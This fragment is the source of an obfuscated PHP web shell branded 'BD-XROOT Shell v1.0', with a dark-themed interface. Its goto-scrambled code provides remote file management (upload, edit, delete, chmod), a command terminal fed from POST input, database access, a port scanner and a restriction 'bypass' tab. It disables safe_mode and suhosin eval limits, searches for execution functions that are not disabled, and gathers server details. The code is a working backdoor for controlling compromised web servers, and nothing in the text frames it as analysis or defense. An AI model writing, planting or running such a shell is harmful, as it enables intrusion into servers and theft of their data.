{\r\n            display: flex;\r\n            background: #21262d;\r\n            border-bottom: 1px solid #30363d;\r\n        }\r\n        \r\n        .tab {\r\n            padding: 15px 25px;\r\n            cursor: pointer;\r\n            color: #8b949e;\r\n            font-weight: 500;\r\n            transition: all 0.2s;\r\n            position: relative;\r\n        }\r\n        \r\n        .tab:hover {\r\n            color: #c9d1d9;\r\n            background: rgba(255, 255, 255, 0.05);\r\n        }\r\n        \r\n        .tab.active {\r\n            color: #58a6ff;\r\n            background: rgba(88, 166, 255, 0.1);\r\n        }\r\n        \r\n        .tab.active::after {\r\n            content: '';\r\n            position: absolute;\r\n            bottom: 0;\r\n            left: 0;\r\n            width: 100%;\r\n            height: 2px;\r\n            background: #58a6ff;\r\n        }\r\n        \r\n        .tab-icon {\r\n            margin-right: 8px;\r\n        }\r\n        \r\n        .tab-content {\r\n            display: none;\r\n            padding: 25px;\r\n            background: #161b22;\r\n        }\r\n        \r\n        .tab-content.active {\r\n            display: block;\r\n        }\r\n        \r\n        .notification {\r\n            padding: 12px 20px;\r\n            margin-bottom: 20px;\r\n            border-radius: 6px;\r\n            font-size: 14px;\r\n        }\r\n        \r\n        .notification.success {\r\n            background: rgba(46, 160, 67, 0.15);\r\n            color: #3fb950;\r\n            border: 1px solid rgba(46, 160, 67, 0.3);\r\n        }\r\n        \r\n        .notification.error {\r\n            background: rgba(248, 81, 73, 0.15);\r\n            color: #f85149;\r\n            border: 1px solid rgba(248, 81, 73, 0.3);\r\n        }\r\n        \r\n        .path-bar {\r\n            display: flex;\r\n            gap: 10px;\r\n            margin-bottom: 15px;\r\n        }\r\n        \r\n        .path-bar input {\r\n            flex: 1;\r\n            padding: 10px 15px;\r\n            background: #0d1117;\r\n            border: 1px solid #30363d;\r\n            color: #c9d1d9;\r\n            border-radius: 6px;\r\n            font-size: 14px;\r\n        }\r\n        \r\n        .path-bar input:focus {\r\n            outline: none;\r\n            border-color: #58a6ff;\r\n            box-shadow: 0 0 0 3px rgba(88, 166, 255, 0.1);\r\n        }\r\n        \r\n        .btn {\r\n            padding: 10px 20px;\r\n            background: #238636;\r\n            color: white;\r\n            border: none;\r\n            border-radius: 6px;\r\n            cursor: pointer;\r\n            font-size: 14px;\r\n            font-weight: 500;\r\n            transition: all 0.2s;\r\n        }\r\n        \r\n        .btn:hover {\r\n            background: #2ea043;\r\n        }\r\n        \r\n        .btn-success {\r\n            background: #238636;\r\n        }\r\n        \r\n        .btn-success:hover {\r\n            background: #2ea043;\r\n        }\r\n        \r\n        .btn-danger {\r\n            background: #da3633;\r\n        }\r\n        \r\n        .btn-danger:hover {\r\n            background: #f85149;\r\n        }\r\n        \r\n        .btn-warning {\r\n            background: #d29922;\r\n        }\r\n        \r\n        .btn-warning:hover {\r\n            background: #e3b341;\r\n        }\r\n        \r\n        .btn-small {\r\n            padding: 6px 12px;\r\n            font-size: 12px;\r\n        }\r\n        \r\n        .tools {\r\n            display: flex;\r\n            gap: 15px;\r\n            flex-wrap: wrap;\r\n            margin-bottom: 20px;\r\n        }\r\n        \r\n        .tool-group {\r\n            display: flex;\r\n            align-items: center;\r\n            gap: 10px;\r\n            padding: 10px 15px;\r\n            background: #21262d;\r\n            border-radius: 6px;\r\n            border: 1px solid #30363d;\r\n        }\r\n        \r\n        .tool-group label {\r\n            font-size: 13px;\r\n            color: #8b949e;\r\n            font-weight: 500;\r\n        }\r\n        \r\n        .tool-group input[type=\"file\"],\r\n        .tool-group input[type=\"text\"],\r\n        .tool-group input[type=\"password\"],\r\n        .tool-group input[type=\"number\"] {\r\n            padding: 6px 10px;\r\n            background: #0d1117;\r\n            border: 1px solid #30363d;\r\n            color: #c9d1d9;\r\n            border-radius: 4px;\r\n            font-size: 13px;\r\n        }\r\n        \r\n        .tool-group input:focus {\r\n            outline: none;\r\n            border-color: #58a6ff;\r\n        }\r\n        \r\n        .file-table {\r\n            width: 100%;\r\n            background: #21262d;\r\n            border-radius: 6px;\r\n            overflow: hidden;\r\n            border: 1px solid #30363d;\r\n        }\r\n        \r\n        .file-table thead {\r\n            background: #161b22;\r\n        }\r\n        \r\n        .file-table th {\r\n            padding: 12px 15px;\r\n            text-align: left;\r\n            font-size: 12px;\r\n            font-weight: 600;\r\n            color: #8b949e;\r\n            text-transform: uppercase;\r\n            letter-spacing: 0.5px;\r\n            border-bottom: 1px solid #30363d;\r\n        }\r\n        \r\n        .file-table td {\r\n            padding: 10px 15px;\r\n            border-top: 1px solid #30363d;\r\n            font-size: 14px;\r\n            color: #c9d1d9;\r\n        }\r\n        \r\n        .file-table tbody tr:hover {\r\n            background: rgba(88, 166, 255, 0.05);\r\n        }\r\n        \r\n        .file-table tbody tr.folder-row {\r\n            background: rgba(88, 166, 255, 0.03);\r\n            border-left: 3px solid #58a6ff;\r\n        }\r\n        \r\n        .file-table a {\r\n            color: #58a6ff;\r\n            text-decoration: none;\r\n            font-weight: 500;\r\n            display: inline-flex;\r\n            align-items: center;\r\n            gap: 8px;\r\n        }\r\n        \r\n        .file-table a:hover {\r\n            color: #79c0ff;\r\n        }\r\n        \r\n        .file-icon {\r\n            width: 20px;\r\n            height: 20px;\r\n            display: inline-flex;\r\n            align-items: center;\r\n            justify-content: center;\r\n        }\r\n        \r\n        .file-actions {\r\n            display: flex;\r\n            gap: 8px;\r\n            flex-wrap: wrap;\r\n        }\r\n        \r\n        .file-actions a {\r\n            padding: 4px 8px;\r\n            background: rgba(88, 166, 255, 0.1);\r\n            color: #58a6ff;\r\n            border: 1px solid rgba(88, 166, 255, 0.2);\r\n            border-radius: 4px;\r\n            font-size: 12px;\r\n            transition: all 0.2s;\r\n        }\r\n        \r\n        .file-actions a:hover {\r\n            background: rgba(88, 166, 255, 0.2);\r\n        }\r\n        \r\n        .file-actions a.delete {\r\n            background: rgba(248, 81, 73, 0.1);\r\n            color: #f85149;\r\n            border-color: rgba(248, 81, 73, 0.2);\r\n        }\r\n        \r\n        .file-actions a.delete:hover {\r\n            background: rgba(248, 81, 73, 0.2);\r\n        }\r\n        \r\n        /* Permission-based colors */\r\n        .perm-writable {\r\n            color: #3fb950 !important;\r\n            font-weight: 600;\r\n        }\r\n        \r\n        .perm-readonly {\r\n            color: #f85149 !important;\r\n            font-weight: 600;\r\n        }\r\n        \r\n        .perm-indicator {\r\n            display: inline-block;\r\n            width: 8px;\r\n            height: 8px;\r\n            border-radius: 50%;\r\n            margin-right: 5px;\r\n        }\r\n        \r\n        .perm-indicator.writable {\r\n            background: #3fb950;\r\n        }\r\n        \r\n        .perm-indicator.readonly {\r\n            background: #f85149;\r\n        }\r\n        \r\n        .edit-area {\r\n            width: 100%;\r\n            min-height: 400px;\r\n            padding: 15px;\r\n            background: #0d1117;\r\n            border: 1px solid #30363d;\r\n            color: #e6edf3;\r\n            border-radius: 6px;\r\n            font-family: 'Consolas', 'Monaco', 'Courier New', monospace;\r\n            font-size: 14px;\r\n            line-height: 1.5;\r\n            resize: vertical;\r\n        }\r\n        \r\n        .edit-area:focus {\r\n            outline: none;\r\n            border-color: #58a6ff;\r\n            box-shadow: 0 0 0 3px rgba(88, 166, 255, 0.1);\r\n        }\r\n        \r\n        .terminal {\r\n            background: #0d1117;\r\n            border-radius: 6px;\r\n            padding: 15px;\r\n            margin-bottom: 20px;\r\n            border: 1px solid #30363d;\r\n        }\r\n        \r\n        .terminal-output {\r\n            background: #161b22;\r\n            border-radius: 4px;\r\n            padding: 15px;\r\n            color: #e6edf3;\r\n            font-family: 'Consolas', 'Monaco', 'Courier New', monospace;\r\n            font-size: 14px;\r\n            line-height: 1.5;\r\n            min-height: 200px;\r\n            max-height: 400px;\r\n            overflow-y: auto;\r\n            white-space: pre-wrap;\r\n            margin-bottom: 15px;\r\n        }\r\n        \r\n        .terminal-input {\r\n            display: flex;\r\n            gap: 10px;\r\n        }\r\n        \r\n        .terminal-input input {\r\n            flex: 1;\r\n            padding: 10px 15px;\r\n            background: #21262d;\r\n            border: 1px solid #30363d;\r\n            color: #e6edf3;\r\n            border-radius: 4px;\r\n            font-size: 14px;\r\n            font-family: 'Consolas', 'Monaco', 'Courier New', monospace;\r\n        }\r\n        \r\n        .terminal-input input:focus {\r\n            outline: none;\r\n            border-color: #58a6ff;\r\n        }\r\n        \r\n        .info-grid {\r\n            display: grid;\r\n            grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));\r\n            gap: 20px;\r\n        }\r\n        \r\n        .info-card {\r\n            background: #21262d;\r\n            border-radius: 6px;\r\n            padding: 20px;\r\n            border: 1px solid #30363d;\r\n        }\r\n        \r\n        .info-card h3 {\r\n            color: #58a6ff;\r\n            margin-bottom: 15px;\r\n            font-size: 16px;\r\n            display: flex;\r\n            align-items: center;\r\n            gap: 8px;\r\n        }\r\n        \r\n        .info-item {\r\n            display: flex;\r\n            justify-content: space-between;\r\n            padding: 8px 0;\r\n            border-bottom: 1px solid #30363d;\r\n        }\r\n        \r\n        .info-item:last-child {\r\n            border-bottom: none;\r\n        }\r\n        \r\n        .info-label {\r\n            color: #8b949e;\r\n            font-size: 13px;\r\n        }\r\n        \r\n        .info-value {\r\n            color: #c9d1d9;\r\n            font-size: 13px;\r\n            font-weight: 500;\r\n        }\r\n        \r\n        .progress-bar {\r\n            width: 100%;\r\n            height: 8px;\r\n            background: #21262d;\r\n            border-radius: 4px;\r\n            overflow: hidden;\r\n            margin-top: 5px;\r\n        }\r\n        \r\n        .progress-fill {\r\n            height: 100%;\r\n            background: #58a6ff;\r\n            border-radius: 4px;\r\n        }\r\n        \r\n        .modal {\r\n            display: none;\r\n            position: fixed;\r\n            top: 0;\r\n            left: 0;\r\n            width: 100%;\r\n            height: 100%;\r\n            background: rgba(0, 0, 0, 0.8);\r\n            z-index: 1000;\r\n        }\r\n        \r\n        .modal.active {\r\n            display: flex;\r\n            align-items: center;\r\n            justify-content: center;\r\n        }\r\n        \r\n        .modal-content {\r\n            background: #21262d;\r\n            padding: 30px;\r\n            border-radius: 10px;\r\n            width: 90%;\r\n            max-width: 500px;\r\n            border: 1px solid #30363d;\r\n        }\r\n        \r\n        .modal-header {\r\n            margin-bottom: 20px;\r\n            font-size: 18px;\r\n            font-weight: 600;\r\n            color: #c9d1d9;\r\n        }\r\n        \r\n        .modal-body input,\r\n        .modal-body textarea {\r\n            width: 100%;\r\n            padding: 10px;\r\n            margin-bottom: 15px;\r\n            background: #0d1117;\r\n            border: 1px solid #30363d;\r\n            color: #c9d1d9;\r\n            border-radius: 6px;\r\n            font-size: 14px;\r\n        }\r\n        \r\n        .modal-body input:focus,\r\n        .modal-body textarea:focus {\r\n            outline: none;\r\n            border-color: #58a6ff;\r\n        }\r\n        \r\n        .modal-body textarea {\r\n            min-height: 150px;\r\n            resize: vertical;\r\n        }\r\n        \r\n        .modal-footer {\r\n            display: flex;\r\n            gap: 10px;\r\n            justify-content: flex-end;\r\n        }\r\n        \r\n        .empty {\r\n            text-align: center;\r\n            padding: 40px;\r\n            color: #8b949e;\r\n        }\r\n        \r\n        .separator-row td {\r\n            background: #161b22;\r\n            padding: 8px 15px !important;\r\n            font-weight: 600;\r\n            color: #8b949e;\r\n            border-top: 1px solid #30363d !important;\r\n            border-bottom: 1px solid #30363d !important;\r\n            text-transform: uppercase;\r\n            letter-spacing: 0.5px;\r\n            font-size: 11px;\r\n        }\r\n        \r\n        .telegram-btn {\r\n            position: fixed;\r\n            bottom: 20px;\r\n            right: 20px;\r\n            background: #0088cc;\r\n            color: white;\r\n            padding: 12px 20px;\r\n            border-radius: 6px;\r\n            display: flex;\r\n            align-items: center;\r\n            gap: 8px;\r\n            font-size: 14px;\r\n            font-weight: 500;\r\n            cursor: pointer;\r\n            transition: all 0.2s;\r\n            z-index: 1000;\r\n            text-decoration: none;\r\n            box-shadow: 0 4px 12px rgba(0, 136, 204, 0.3);\r\n        }\r\n        \r\n        .telegram-btn:hover {\r\n            background: #0066aa;\r\n            transform: translateY(-2px);\r\n            box-shadow: 0 6px 16px rgba(0, 136, 204, 0.4);\r\n        }\r\n        \r\n        .telegram-btn svg {\r\n            width: 18px;\r\n            height: 18px;\r\n        }\r\n        \r\n        @media (max-width: 768px) {\r\n            .tools {\r\n                flex-direction: column;\r\n            }\r\n            \r\n            .file-table {\r\n                font-size: 12px;\r\n            }\r\n            \r\n            .file-actions {\r\n                flex-direction: column;\r\n            }\r\n            \r\n            .sys-info {\r\n                font-size: 11px;\r\n            }\r\n            \r\n            .info-grid {\r\n                grid-template-columns: 1fr;\r\n            }\r\n            \r\n            .telegram-btn {\r\n                bottom: 10px;\r\n                right: 10px;\r\n                padding: 10px 15px;\r\n                font-size: 12px;\r\n            }\r\n        }\r\n    </style>\r\n</head>\r\n<body>\r\n    <div class=\"container\">\r\n        <div class=\"header\">\r\n            <h1><span class=\"eagle\">BD-XROOT</span> Shell v1.0</h1>\r\n            <div class=\"sys-info\">\r\n                <span><strong>OS:</strong> ";
goto Z3EvV;
GYdg_:
BxvYJ:
goto sr0nu;
AvG_t:
DAsXt:
goto e945k;
Q00EY:
echo htmlspecialchars($ufbK4);
goto mEF9f;
hXveV:
$DkgI1 = $svxzY . $_POST["oldname"];
goto kdWH4;
ep3_C:
echo "</span>\r\n                <span><strong>User:</strong> ";
goto OcO6f;
ojsqT:
zwMTp:
goto GYdg_;
MHpKk:
jeCoz:
goto rDcEz;
hzYFE:
$t3j1o = array("type" => "success", "text" => "Database connected successfully");
goto o5m9P;
FKcaq:
echo htmlspecialchars($X18FW["memory_limit"]);
goto q0gjj;
oNNTY:
KfbgM:
goto KYFBZ;
Q2yRs:
if (empty($JxmJS["folders"])) {
    goto mWLHH;
}
goto a35PU;
vVDg6:
echo "</span>\r\n                    </div>\r\n                    <div class=\"info-item\">\r\n                        <span class=\"info-label\">Hostname</span>\r\n                        <span class=\"info-value\">";
goto tiFay;
OcO6f:
echo htmlspecialchars($X18FW["user"]);
goto EgtA1;
agLIy:
if ($h6C7W) {
    goto Iph0q;
}
goto vm8ku;
Rj3Uh:
echo "\" id=\"filemanager\">\r\n            <form method=\"get\" class=\"path-bar\">\r\n                <input type=\"text\" name=\"p\" value=\"";
goto p_V44;
r8veJ:
echo "</span>\r\n                    </div>\r\n                    <div class=\"info-item\">\r\n                        <span class=\"info-label\">Disabled Functions</span>\r\n                        <span class=\"info-value\">";
goto lisRJ;
Q82sU:
header("Content-Type: application/octet-stream");
goto on4i9;
on4i9:
header("Content-Disposition: attachment; filename=\"" . basename($KCz4A) . "\"");
goto J4Ro9;
iLLUZ:
if (BKh9M($WklJe, $_POST["content"])) {
    goto jeCoz;
}
goto hy7hL;
ENcCP:
@ini_set("suhosin.executor.disable_eval", 0);
goto hq3Bx;
bldGG:
grdrP:
goto NB1c6;
RpllI:
$t3j1o = array("type" => "error", "text" => "Delete failed");
goto VnBg_;
dKGAl:
ROevN:
goto OUnlk;
PBpxe:
echo $Cbzx0 === "terminal" ? "active" : '';
goto vM2r3;
JCRXZ:
echo "<tr class=\"separator-row\"><td colspan=\"6\">?? Files</td></tr>";
goto thPBE;
KnYuL:
$nVyW1 = Su4Vz($_FILES["upload"]["tmp_name"]);
goto zg3SX;
o5m9P:
@djAzL($h6C7W);
goto qJv1m;
lCi0K:
echo htmlspecialchars($X18FW["disk_free"]);
goto JfwdL;
nkl1C:
if (@mkdir($ij9f7, 0777, true)) {
    goto RW1D0;
}
goto JeK3b;
oigeZ:
if ($mzcbo) {
    goto frtz1;
}
goto oHSxa;
Z_rlw:
echo "</span>\r\n                    </div>\r\n                    <div class=\"info-item\">\r\n                        <span class=\"info-label\">User</span>\r\n                        <span class=\"info-value\">";
goto p1iIo;
PCk67:
$X4FoP++;
goto qoNtS;
Pngll:
if (@chmod($WklJe, $qhpH_)) {
    goto DwORX;
}
goto TpDOM;
kH_0k:
Iph0q:
goto e4007;
lisRJ:
echo htmlspecialchars($X18FW["disable_functions"]);
goto dCloy;
kxlwo:
PNEzN:
goto PYZp9;
AiGV9:
echo "</span>\r\n                    </div>\r\n                    <div class=\"info-item\">\r\n                        <span class=\"info-label\">Post Max Size</span>\r\n                        <span class=\"info-value\">";
goto KpUvd;
qoNtS:
goto cypWe;
goto dKGAl;
BIriM:
cK1s1:
goto VFEEW;
ViPux:
$t3j1o = array("type" => "error", "text" => "Database connection failed");
goto PWA1L;
dCloy:
echo "</span>\r\n                    </div>\r\n                </div>\r\n                \r\n                <div class=\"info-card\">\r\n                    <h3>?? Disk Usage</h3>\r\n                    <div class=\"info-item\">\r\n                        <span class=\"info-label\">Total Space</span>\r\n                        <span class=\"info-value\">";
goto CNVpg;
yk2ZI:
echo "\">\r\n            ";
goto HnZNm;
T1yHW:
if (!$dckxu) {
    goto g0UPR;
}
goto xw0fk;
yZnjk:
function GCk0g($VZGuw)
{
    goto r5lcK;
    TzgSc:
    $Uhhx3 .= $Cp4gt & 0x4 ? "r" : "-";
    goto I0bFu;
    CiW9f:
    if (!($Cp4gt === false)) {
        goto kXMHa;
    }
    goto vWpuA;
    OiQap:
    $Uhhx3 .= $Cp4gt & 0x8 ? "x" : "-";
    goto TzgSc;
    I0bFu:
    $Uhhx3 .= $Cp4gt & 0x2 ? "w" : "-";
    goto GjJ8F;
    NrwKT:
    $Uhhx3 .= $Cp4gt & 0x10 ? "w" : "-";
    goto OiQap;
    DW6Nh:
    $Uhhx3 .= $Cp4gt & 0x100 ? "r" : "-";
    goto QT2KD;
    GjJ8F:
    $Uhhx3 .= $Cp4gt & 0x1 ? "x" : "-";
    goto z0mGO;
    z0mGO:
    return $Uhhx3;
    goto uYKYn;
    Tzc01:
    kXMHa:
    goto wDTXl;
    r5lcK:
    $Cp4gt = @fileperms($VZGuw);
    goto CiW9f;
    vWpuA:
    return "---";
    goto Tzc01;
    zSuep:
    $Uhhx3 .= $Cp4gt & 0x20 ? "r" : "-";
    goto NrwKT;
    pxWCO:
    $Uhhx3 .= $Cp4gt & 0x40 ? "x" : "-";
    goto zSuep;
    wDTXl:
    $Uhhx3 = '';
    goto DW6Nh;
    QT2KD:
    $Uhhx3 .= $Cp4gt & 0x80 ? "w" : "-";
    goto pxWCO;
    uYKYn:
}
goto Efysy;
N1JhJ:
echo "</span>\r\n                    </div>\r\n                    <div class=\"info-item\">\r\n                        <span class=\"info-label\">cURL</span>\r\n                        <span class=\"info-value\">";
goto ix2pc;
tiFay:
echo htmlspecialchars($X18FW["hostname"]);
goto Z_rlw;
Vnad_:
$OjVia = $svxzY . $_POST["newfile"];
goto WEnWY;
kFith:
p7jGD:
goto sRt2O;
muDQh:
echo "                </tbody>\r\n            </table>\r\n            ";
goto CnBZP;
xfQn1:
if (empty($JxmJS["files"])) {
    goto uGyhE;
}
goto JCRXZ;
YMle9:
echo "                    \r\n                    ";
goto xfQn1;
obxZm:
$WYkC2 = intval($_POST["scan_port_end"]);
goto zr6j9;
YQ1PJ:
echo "\" onclick=\"switchTab('network')\">\r\n                <span class=\"tab-icon\">??</span> Network\r\n            </div>\r\n            <div class=\"tab ";
goto jMFIT;
fffEt:
function RCd3T($ENKDR)
{
    goto JEAE6;
    um7AA:
    if (!isset($h2qYY[$ENKDR])) {
        goto KlImb;
    }
    goto kctAx;
    JEAE6:
    global $h2qYY;
    goto b4fo3;
    yzKy1:
    hvWz5:
    goto lgobF;
    b4fo3:
    $mt_rZ = explode(",", @ini_get("disable_functions"));
    goto um7AA;
    DgSAF:
    return false;
    goto fn2gx;
    lgobF:
    KlImb:
    goto DgSAF;
    kctAx:
    foreach ($h2qYY[$ENKDR] as $d2rHH) {
        goto Q4sU6;
        BGUsQ:
        return $d2rHH;
        goto l9wAB;
        l9wAB:
        w7VHC:
        goto F9L8O;
        Q4sU6:
        if (!(function_exists($d2rHH) && !in_array($d2rHH, $mt_rZ))) {
            goto w7VHC;
        }
        goto BGUsQ;
        F9L8O:
        uO2U3:
        goto iD2mi;
        iD2mi:
    }
    goto yzKy1;
    fn2gx:
}
goto dvVYf;
ZAMnX:
echo htmlspecialchars($UlLNU);
goto e5vg9;
J_Ji2:
echo htmlspecialchars($X18FW["disk_percent"]);
goto DHiOp;
TGiGd:
uGyhE:
goto FDkfF;
IvPCM:
echo "            <div class=\"edit-container\">\r\n                <h3 style=\"margin-bottom: 15px; color: #58a6ff;\">Editing: ";
goto ZAMnX;
VFEEW:
echo "        </div>\r\n        \r\n        <!-- Terminal Tab -->\r\n        <div class=\"tab-content ";
goto PBpxe;
VUYYW:
if (!(isset($_POST["db_host"]) && isset($_POST["db_user"]) && isset($_POST["db_pass"]) && isset($_POST["db_name"]))) {
    goto p7jGD;
}
goto IhBli;
b42Yw:
h4Jb0:
goto E5_E2;
IUAN5:
echo "\" onclick=\"switchTab('filemanager')\">\r\n                <span class=\"tab-icon\">??</span> File Manager\r\n            </div>\r\n            <div class=\"tab ";
goto rXQW1;
nhYkC:
echo htmlspecialchars($X18FW["max_execution_time"]);
goto x5QaV;
zFv9w:
echo urlencode($svxzY);
goto fx82X;
dQW2q:
vYC1b:
goto PCk67;
TpDOM:
$t3j1o = array("type" => "error", "text" => "Permission change failed");
goto cG3a7;
xX9es:
mWLHH:
goto YMle9;
ajWZh:
echo "\" id=\"info\">\r\n            <div class=\"info-grid\">\r\n                <div class=\"info-card\">\r\n                    <h3>??? System Information</h3>\r\n                    <div class=\"info-item\">\r\n                        <span class=\"info-label\">Operating System</span>\r\n                        <span class=\"info-value\">";
goto kVp1E;
qZ7RQ:
$xncKq = $_POST["scan_host"];
goto Fby9h;
sr0nu:
if (!isset($_GET["tab"])) {
    goto PNEzN;
}
goto O6peh;
Mhp0w:
if (!function_exists("ini_set")) {
    goto y8bTb;
}
goto RK2Ou;
Ow0lC:
goto MT9MZ;
goto kH_0k;
eFu5w:
GvFSy:
goto MoI2U;
mWMm7:
RVeK1:
goto EliUA;
p1iIo:
echo htmlspecialchars($X18FW["user"]);
goto oFUBL;
zr6j9:
$Z5f2E = array();
goto NOxwo;
R1mRF:
function xjotY()
{
    goto Swh0x;
    NK17b:
    $Uhhx3["safe_mode"] = @ini_get("safe_mode") ? "On" : "Off";
    goto Oprnz;
    xbtE8:
    $Uhhx3["curl"] = "Not Available";
    goto TDpS0;
    Oprnz:
    $Uhhx3["allow_url_fopen"] = @ini_get("allow_url_fopen") ? "On" : "Off";
    goto Rks9t;
    o5kw_:
    if (!($vD2AL !== false && $aSHaJ !== false)) {
        goto q57qW;
    }
    goto MUln2;
    hHmHV:
    $Uhhx3["max_execution_time"] = @ini_get("max_execution_time");
    goto ngV5e;
    qweuT:
    $Uhhx3["ip"] = isset($_SERVER["SERVER_ADDR"]) ? $_SERVER["SERVER_ADDR"] : "Unknown";
    goto FQiq2;
    YHVm2:
    $Uhhx3["disk_used"] = round(($aSHaJ - $vD2AL) / 1073741824, 2) . " GB";
    goto Tids7;
    YgMn2:
    $IkUPQ = @curl_version();
    goto WUHQv;
    G2evZ:
    t1yoz:
    goto wsR9K;
    tlLI8:
    if (function_exists("l2Rvp") || function_exists("mysqli_connect")) {
        goto t1yoz;
    }
    goto Vb4xh;
    Vb4xh:
    $Uhhx3["mysql"] = "Not Available";
    goto JqZ2I;
    Htz27:
    $Uhhx3["post_max_size"] = @ini_get("post_max_size");
    goto fYzvC;
    TDpS0:
    goto TJP1X;
    goto pqX6T;
    MUln2:
    $Uhhx3["disk_free"] = round($vD2AL / 1073741824, 2) . " GB";
    goto y3Zei;
    o4E60:
    $Uhhx3["os"] = @php_uname("s") . " " . @php_uname("r") . " " . @php_uname("v");
    goto hFFL2;
    fYzvC:
    if (!function_exists("disk_free_space")) {
        goto x53OL;
    }
    goto eoAje;
    ngV5e:
    $Uhhx3["upload_max_filesize"] = @ini_get("upload_max_filesize");
    goto Htz27;
    PnNdh:
    $Uhhx3["server"] = isset($_SERVER["SERVER_SOFTWARE"]) ? $_SERVER["SERVER_SOFTWARE"] : "Unknown";
    goto qweuT;
    FQiq2:
    $Uhhx3["port"] = isset($_SERVER["SERVER_PORT"]) ? $_SERVER["SERVER_PORT"] : "Unknown";
    goto PDQrf;
    K87ze:
    x53OL:
    goto tlLI8;
    PDQrf:
    $Uhhx3["disable_functions"] = @ini_get("disable_functions") ? @ini_get("disable_functions") : "None";
    goto SFIFQ;
    CL62N:
    $aSHaJ = @disk_total_space("/");
    goto o5kw_;
    eoAje:
    $vD2AL = @disk_free_space("/");
    goto CL62N;
    SFIFQ:
    $Uhhx3["open_basedir"] = @ini_get("open_basedir") ? @ini_get("open_basedir") : "None";
    goto NK17b;
    hFFL2:
    $Uhhx3["hostname"] = @php_uname("n");
    goto NlRs2;
    Swh0x:
    $Uhhx3 = array();
    goto o4E60;
    WUHQv:
    $Uhhx3["curl"] = $IkUPQ["version"];
    goto WWbyt;
    HRZcq:
    q57qW:
    goto K87ze;
    Rks9t:
    $Uhhx3["allow_url_include"] = @ini_get("allow_url_include") ? "On" : "Off";
    goto EiXAN;
    wsR9K:
    $Uhhx3["mysql"] = "Available";
    goto CAd95;
    CAd95:
    VPm5J:
    goto r850A;
    IAOe1:
    $Uhhx3["php_version"] = @phpversion();
    goto PnNdh;
    WWbyt:
    TJP1X:
    goto MjXoj;
    MjXoj:
    return $Uhhx3;
    goto qNu1Q;
    JqZ2I:
    goto VPm5J;
    goto G2evZ;
    Tids7:
    $Uhhx3["disk_percent"] = round(($aSHaJ - $vD2AL) / $aSHaJ * 100, 1) . "%";
    goto HRZcq;
    r850A:
    if (function_exists("curl_version")) {
        goto ek04M;
    }
    goto xbtE8;
    pqX6T:
    ek04M:
    goto YgMn2;
    NlRs2:
    $Uhhx3["user"] = @get_current_user();
    goto IAOe1;
    EiXAN:
    $Uhhx3["memory_limit"] = @ini_get("memory_limit");
    goto hHmHV;
    y3Zei:
    $Uhhx3["disk_total"] = round($aSHaJ / 1073741824, 2) . " GB";
    goto YHVm2;
    qNu1Q:
}
goto r34FQ;
CnBZP:
goto cK1s1;
goto Dr7hj;
Bmrlv:
echo htmlspecialchars($X18FW["php_version"]);
goto v6tAW;
boV7G:
goto DAsXt;
goto eFu5w;
JeK3b:
$t3j1o = array("type" => "error", "text" => "Creation failed");
goto OBrvb;
hq3Bx:
y8bTb:
goto dEd1J;
D6uZP:
echo $Cbzx0 === "bypass" ? "active" : '';
goto hDBeP;
KYFBZ:
@ini_set("safe_mode", 0);
goto AvG_t;
lXdlo:
echo htmlspecialchars($X18FW["allow_url_fopen"]);
goto LVNgO;
Letnn:
echo $Cbzx0 === "network" ? "active" : '';
goto s4OEG;
E62Jn:
$WklJe = $svxzY . $_GET["item"];
goto SWBg6;
F9y1j:
$twQir = $_POST["command"];
goto k1Yzl;
dahlg:
exit;
goto Dm9mH;
alqeA:
function BKH9m($VZGuw, $sKALM)
{
    goto zKEuW;
    zKEuW:
    if (!(@file_put_contents($VZGuw, $sKALM) !== false)) {
        goto MfoVw;
    }
    goto wU02J;
    wU02J:
    return true;
    goto mpyT0;
    dJUiR:
    $q0xLn = @tempnam(@dirname($VZGuw), "tmp");
    goto a84on;
    BQ3_P:
    $HSnn2 = @fwrite($dckxu, $sKALM) !== false;
    goto samrf;
    dPq9I:
    if (!$dckxu) {
        goto yhZwx;
    }
    goto BQ3_P;
    uWRYB:
    P5M7k:
    goto RBb2z;
    a84on:
    if (!(@file_put_contents($q0xLn, $sKALM) !== false)) {
        goto P5M7k;
    }
    goto gqNkC;
    gqNkC:
    return @rename($q0xLn, $VZGuw);
    goto uWRYB;
    z3CBF:
    $dckxu = @fopen($VZGuw, "wb");
    goto dPq9I;
    RBb2z:
    return false;
    goto uDyKi;
    samrf:
    @fclose($dckxu);
    goto ujpli;
    ujpli:
    return $HSnn2;
    goto bZpy_;
    bZpy_:
    yhZwx:
    goto dJUiR;
    mpyT0:
    MfoVw:
    goto z3CBF;
    uDyKi:
}
goto Qz7Ix;
yHjT_:
echo $Cbzx0 === "filemanager" ? "active" : '';
goto Rj3Uh;
M9N5G:
function AFGTA($FfEvy, $svxzY)
{
    goto WsYqB;
    LDWsj:
    return array("folders" => $buUtA, "files" => $hb7ua);
    goto VNgMg;
    WMprR:
    $hb7ua = array();
    goto vzbgA;
    rOpFc:
    sort($hb7ua, SORT_NATURAL | SORT_FLAG_CASE);
    goto LDWsj;
    vzbgA:
    foreach ($FfEvy as $UI0VR) {
        goto HOenL;
        HOenL:
        $lOJed = $svxzY . $UI0VR;
        goto roMQw;
        F2kCl:
        tjQJV:
        goto lJZgt;
        f5ubl:
        $hb7ua[] = $UI0VR;
        goto gNkxl;
        M_Nh2:
        t3Rdv:
        goto qfYSb;
        gNkxl:
        goto Xtusf;
        goto F2kCl;
        AFdlA:
        Xtusf:
        goto M_Nh2;
        roMQw:
        if (@is_dir($lOJed)) {
            goto tjQJV;
        }
        goto f5ubl;
        lJZgt:
        $buUtA[] = $UI0VR;
        goto AFdlA;
        qfYSb:
    }
    goto tQsb2;
    tQsb2:
    deljs:
    goto iwOcM;
    iwOcM:
    sort($buUtA, SORT_NATURAL | SORT_FLAG_CASE);
    goto rOpFc;
    WsYqB:
    $buUtA = array();
    goto WMprR;
    VNgMg:
}
goto R1mRF;
zmoCe:
@set_time_limit(0);
goto lGTpV;
Ty8ed:
echo $Cbzx0 === "info" ? "active" : '';
goto ajWZh;
EliUA:
$t3j1o = array("type" => "success", "text" => "Deleted successfully");
goto S0tHe;
NmZwy:
Qrcz1:
goto UeOUR;
ikXp8:
echo $t3j1o["type"];
goto yk2ZI;
TY5jA:
$WklJe = $svxzY . $_POST["chmod_item"];
goto cPXIw;
LVNgO:
echo "</span>\r\n                    </div>\r\n                    <div class=\"info-item\">\r\n                        <span class=\"info-label\">Allow URL Include</span>\r\n                        <span class=\"info-value\">";
goto y37vq;
Dm9mH:
CC_fM:
goto ojsqT;
Tlxbg:
